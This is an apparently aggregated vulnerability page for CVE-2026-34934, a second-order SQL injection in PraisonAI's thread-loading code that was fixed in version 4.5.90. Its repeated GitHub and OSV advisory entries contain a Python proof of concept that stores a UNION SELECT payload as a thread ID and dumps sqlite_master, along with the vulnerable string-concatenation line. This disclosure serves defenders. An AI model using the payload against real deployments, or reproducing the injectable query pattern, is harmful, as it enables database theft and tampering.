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CVE-2026-34934

PraisonAI: Second-Order SQL Injection in `get_all_user_threads`

9.8 CriticalFix available

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.54%Up 0.5 points since Apr 4, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.8

PraisonAI: Second-Order SQL Injection in `get_all_user_threads`

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Record
CVE-2026-34934
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
EUVDEUVD-2026-18911 9.8

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Record
EUVD-2026-18911
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-9cq8-3v94-434g 9.8

PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
Record
GHSA-9cq8-3v94-434g
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
NVD 9.8

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Record
CVE-2026-34934
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSV 9.8

PraisonAI: Second-Order SQL Injection in `get_all_user_threads`

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Record
CVE-2026-34934
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSVGHSA-9cq8-3v94-434g 9.8

PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
Record
GHSA-9cq8-3v94-434g
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSVPYSEC-2026-470 9.8

PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
Record
PYSEC-2026-470
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonai
PyPI
through 4.5.89
4.5.90
praisonai
PyPI
before 4.5.90, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 45 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55
4.5.90

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34934 is a critical vulnerability (CVSS 9.8) in Mervinpraison Praisonai, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in praisonai 4.5.90.

References

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Left out here: 601 versions. The JSON record has them.

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